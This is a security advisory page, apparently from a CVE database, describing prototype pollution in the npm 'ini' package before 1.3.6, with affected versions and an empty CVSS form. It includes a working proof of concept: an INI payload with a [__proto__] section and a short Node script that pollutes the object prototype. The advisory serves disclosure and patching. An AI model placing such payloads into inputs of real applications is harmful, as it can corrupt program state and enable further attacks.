GHSA-qqgx-2p2h-9c37

    Dashboard / Vulnerabilities / GHSA-qqgx-2p2h-9c37

    GHSA-qqgx-2p2h-9c37

    Published: 10 Dec 2020Last Modified: 10 Sept 2026

    Summary: ini before 1.3.6 vulnerable to Prototype Pollution via ini.parse

    Details: ### Overview The `ini` npm package before version 1.3.6 has a Prototype Pollution vulnerability. If an attacker submits a malicious INI file to an application that parses it with `ini.parse`, they will pollute the prototype on the application. This can be exploited further depending on the context. ### Patches This has been patched in 1.3.6. ### Steps to reproduce payload.ini ``` [__proto__] polluted = "polluted" ``` poc.js: ``` var fs = require('fs') var ini = require('ini') var parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8')) console.log(parsed) console.log(parsed.__proto__) console.log(polluted) ``` ``` > node poc.js {} { polluted: 'polluted' } { polluted: 'polluted' } polluted ```

    Affected packages

    Package

    Name: ini

    Purl: pkg:npm/ini

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -1.3.6

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-qqgx-2p2h-9c37 | CVE-DB